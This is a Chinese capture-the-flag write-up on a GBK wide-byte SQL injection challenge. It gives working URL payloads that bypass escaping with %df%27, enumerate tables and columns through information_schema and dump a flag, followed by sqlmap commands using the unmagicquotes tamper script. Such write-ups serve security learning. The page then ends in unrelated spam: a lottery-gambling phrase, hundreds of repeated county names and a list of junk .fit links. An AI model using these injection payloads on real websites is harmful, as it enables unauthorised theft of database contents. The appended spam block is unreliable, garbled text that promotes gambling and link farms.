<address id="hfplr"></address>
        <sub id="hfplr"></sub><address id="hfplr"></address>

          <address id="hfplr"></address>

          (宽字节注入) 手注+sqlmap

          进入题目后先简单尝试一下。

          分享图片

           

          很明显的宽字节注入。

          宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

          手工注入
          1、判断列数:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
          order by 3 时报错,说明只有两列。

          2、各类信息:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
          [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

          3、库名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
          sae-chinalover

          4、表名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,group_concat(table_name)
          from information_schema.tables
          where table_schema=database()%23
          ctf,ctf2,ctf3,ctf4,news

          5、ctf4表的列名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,group_concat(column_name)
          from information_schema.columns
          where table_name=0x63746634%23
          id,flag

          这里注意:要将表名ctf4转为16进制

          这里提供一个字符串转16进制的网站:

          http://www.5ixuexiwang.com/str/hex.php

          转了16进制之后记得在前面加上0x

          6、flag列的数据:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,(select flag from ctf4)%23
          flag{this_is_sqli_flag}

          sqlmap跑法
          1、查看有哪些库:
          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
          这个时侯就要用到一个脚本了:

          脚本名:unmagicquotes.py

          作用:宽字符绕过

          分享图片

           

           

          2、表名:

          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

          分享图片

           

           

          3、列名:

          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

           分享图片

           

           

          4、flag列的数据:
          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

          分享图片

          相关文章
          相关标签/搜索
          王中王今晚开什么生肖 丹棱县| 伊通| 邓州市| 永嘉县| 凤城市| 灵川县| 元氏县| 桦川县| 泸西县| 岳池县| 揭东县| 和龙市| 古交市| 正镶白旗| 茌平县| 黄骅市| 清丰县| 邢台市| 鹤壁市| 遵义县| 五家渠市| 胶南市| 长葛市| 浦城县| 侯马市| 安新县| 岑巩县| 乳山市| 广平县| 景泰县| 康乐县| 兰溪市| 芦山县| 武清区| 石楼县| 龙口市| 黑龙江省| 咸丰县| 菏泽市| 时尚| 横峰县| 天水市| 富锦市| 云阳县| 永靖县| 寿宁县| 那曲县| 安阳县| 疏附县| 龙海市| 巩义市| 黑河市| 扎赉特旗| 黔西县| 大同市| 钟山县| 泰来县| 个旧市| 蚌埠市| 普定县| 潞城市| 延吉市| 临澧县| 乌兰县| 湘西| 新郑市| 韶关市| 二连浩特市| 上犹县| 如东县| 宁强县| 垦利县| 从化市| 芦山县| 三明市| 凤冈县| 岢岚县| 滕州市| 福贡县| 大厂| 淅川县| 高州市| 遂川县| 定远县| 天津市| 都兰县| 广水市| 东乡县| 仁怀市| 定州市| 新沂市| 卓尼县| 穆棱市| 于都县| 溆浦县| 绵竹市| 南昌市| 克什克腾旗| 阜宁县| 元氏县| 从化市| 南投县| 正阳县| 铁岭县| 陆川县| 彰化县| 荆州市| 榆林市| 香河县| 郓城县| 屏山县| 三亚市| 孝感市| 阳山县| 嵊州市| 忻州市| 黄平县| 长葛市| 扎鲁特旗| 余干县| 六枝特区| 攀枝花市| 饶平县| 北碚区| 榆中县| 灯塔市| 红桥区| 鄯善县| 仪陇县| 海盐县| 新龙县| 海林市| 治县。| 柞水县| 辰溪县| 陕西省| 东乌珠穆沁旗| 绍兴县| 新郑市| 开封县| 南乐县| 桐庐县| 瑞丽市| 湘阴县| 四川省| 依兰县| 青铜峡市| 方正县| 海丰县| 尼勒克县| 任丘市| 云浮市| 改则县| 宣武区| 万载县| 济南市| 奉贤区| 海安县| 南陵县| 洞头县| 中西区| 高雄县| 陇南市| 巴南区| 普兰店市| 克东县| 马山县| 元朗区| 郑州市| 五指山市| 仙桃市| 思南县| 门头沟区| 嵩明县| 灵丘县| 五寨县| 科技| 常熟市| 澄城县| 潜山县| 连山| 深泽县| 青州市| 巫溪县| 科技| 双柏县| 白沙| 万宁市| 宁明县| 仁怀市| 揭阳市| 东乡县| 江阴市| 渭南市| 隆安县| 当涂县| 荔波县| 绍兴市| 马尔康县| 宜君县| 黑河市| 天峻县| 杭锦旗| 南京市| 金门县| 正定县| 阿鲁科尔沁旗| 托克逊县| 龙门县| 靖安县| 永清县| 麻城市| 额济纳旗| 绵阳市| 涞水县| 辽源市| 恩平市| 庆阳市| 右玉县| 泰宁县| 栾川县| 宁阳县| 太和县| 桐乡市| 外汇| 湖北省| 松阳县| 南投县| 郴州市| 亳州市| 临澧县| 抚顺县| 嘉鱼县| 山阳县| 河北区| 马边| 北流市| 广丰县| 杭州市| 岫岩| 南昌市| 乌审旗| 城市| 侯马市| 长寿区| 肇源县| 翁源县| 雷波县| 乌拉特后旗| 柘城县| 洞口县| 河池市| 阳西县| 珠海市| 利川市| 井冈山市| 长春市| 永昌县| 仪陇县| 盱眙县| 聂拉木县| 嵊州市| 白河县| 双城市| 咸宁市| 满城县| 通州市| 通州市| 马山县| 南部县| 增城市| 翁牛特旗| 静宁县| 随州市| 白山市| 镇康县| 鄂尔多斯市| 米林县| 来安县| 遵义市| 无锡市| 柳州市| 安龙县| 建水县| 精河县| 报价| 怀集县| 万州区| 光山县| 龙游县| 宜兰县| 若尔盖县| 兰溪市| 石河子市| 长沙县| 舟曲县| 四子王旗| 临江市| 集贤县| 灵璧县| 广昌县| 神农架林区| 定州市| 黄浦区| 广宗县| 精河县| 平塘县| 淳安县| 曲沃县| 盐亭县| 离岛区| 周宁县| 海阳市| 云梦县| 固原市| 阿克| 绍兴市| 金乡县| 定陶县| 铜陵市| 溧阳市| 藁城市| 康定县| 西乌珠穆沁旗| 阿城市| 本溪| 达拉特旗| 得荣县| 临朐县| 洛浦县| 微山县| 塔城市| 侯马市| 应城市| 灌阳县| 南丹县| 清镇市| 丹凤县| 吉木萨尔县| 五台县| 康乐县| 巴青县| 云霄县| 通渭县| 灵璧县| 广元市| 昂仁县| 平顺县| 枣阳市| 巴南区| 彭州市| 思茅市| 上蔡县| 永安市| 中西区| 文山县| 登封市| 民和| 巧家县| 南岸区| 永康市| 营山县| 额敏县| 乌什县| 灯塔市| 筠连县| 甘肃省| 黔东| 綦江县| 砚山县| 资中县| 江都市| 沙雅县| 永福县| 长岭县| 同心县| 蒲江县| 农安县| 漯河市| 正宁县| 聊城市| 登封市| 武汉市| 仁布县| 平昌县| 会东县| 广州市| 偃师市| 内乡县| 东海县| 安西县| 即墨市| 当雄县| 吕梁市| 潞西市| 许昌县| 汉阴县| 阿巴嘎旗| 昆山市| 靖西县| 广南县| 西昌市| 衡山县| 定南县| 海林市| 牡丹江市| 塘沽区| 措勤县| 太仓市| 白朗县| 三河市| 临海市| 天门市| 河东区| 浦东新区| 新泰市| 泸州市| 麻江县| 察哈| 汉寿县| 五常市| 广宗县| 泽州县| 塔城市| 康定县| 厦门市| 周至县| 临江市| 桂东县| 南雄市| 昌江| 汾西县| 兴国县| 辰溪县| 龙门县| 蒙城县| 郎溪县| 徐汇区| 宁晋县| 西和县| 新津县| 长泰县| 延庆县| 博兴县| 博客| 扎赉特旗| 绥阳县| 哈巴河县| 扎赉特旗| 会昌县| 内乡县| 三台县| 云南省| 深圳市| 大余县| 天台县| 陵川县| 高阳县| 疏勒县| 新化县| 建瓯市| 涿州市| 汝州市| 合阳县| 突泉县| 丽水市| 江北区| 甘南县| 罗源县| 鲁山县| 北碚区| 中江县| 神农架林区| 贵港市| 获嘉县| 凤山市| 广南县| 上虞市| 合江县| 万荣县| 武功县| 视频| 伊金霍洛旗| 台前县| 邵阳市| 梅州市| 筠连县| 田林县| 江安县| 吴川市| 涡阳县| 台中市| 革吉县| 亚东县| 福安市| 嘉义市| 孝感市| 金塔县| 兴国县| 湖北省| 墨竹工卡县| 兴隆县| 晋城| 舟曲县| 吉木萨尔县| 宣化县| 三河市| 霍山县| 德清县| 昔阳县| 綦江县| 鹰潭市| 红桥区| 合江县| 保定市| 宁阳县| 镇巴县| 邢台市| 梅河口市| 定结县| 宾川县| 宁远县| 南靖县| 徐汇区| 桦南县| 平顺县| 青田县| 阜城县| 花垣县| 松原市| 手游| 兴国县| 关岭| 长兴县| 桂平市| 鹿泉市| 郎溪县| 巩义市| 安阳县| 洪江市| 堆龙德庆县| 托克逊县| 桃园县| 高阳县| 永登县| 双柏县| 建阳市| 江华| 海伦市| 马龙县| 博野县| 建德市| 雷波县| 乳源| 丰台区| 霸州市| 西丰县| 女性| 墨脱县| 昭觉县| 焦作市| 唐海县| 民勤县| 泸州市| 正蓝旗| 会同县| 高碑店市| 佛冈县| 乌鲁木齐市| 积石山| 宝坻区| 武强县| 福清市| 望奎县| 鄂州市| 齐河县| 应城市| 榆树市| 敦煌市| 洞口县| 凤城市| 平远县| 锡林浩特市| 延川县| 富锦市| 涟源市| 深泽县| 邢台市| 哈尔滨市| 赤水市| 资中县| 云阳县| 古丈县| 昌都县| 雷山县| 河池市| 西丰县| 玛多县| 梓潼县| 台中市| 华蓥市| 垫江县| 巴林左旗| 营山县| 大渡口区| 吐鲁番市| 江山市| 烟台市| 汝南县| 临泉县| 嵊泗县| 报价| 尖扎县| 新田县| 绍兴市| http://m.oldgpo.fit http://m.dgpizq.fit http://wap.knoxlo.fit http://m.eyenvx.fit http://wap.hnmtqo.fit http://wap.wtntrt.fit http://wap.tforwu.fit http://wap.mudcfe.fit http://hftusr.fit http://wap.lhxtyn.fit http://hwoltu.fit http://wap.cpledz.fit http://kowstq.fit http://wap.tmmvia.fit http://wap.ysbrwn.fit http://wap.xtrohv.fit http://sgvqdh.fit http://m.rgzuzq.fit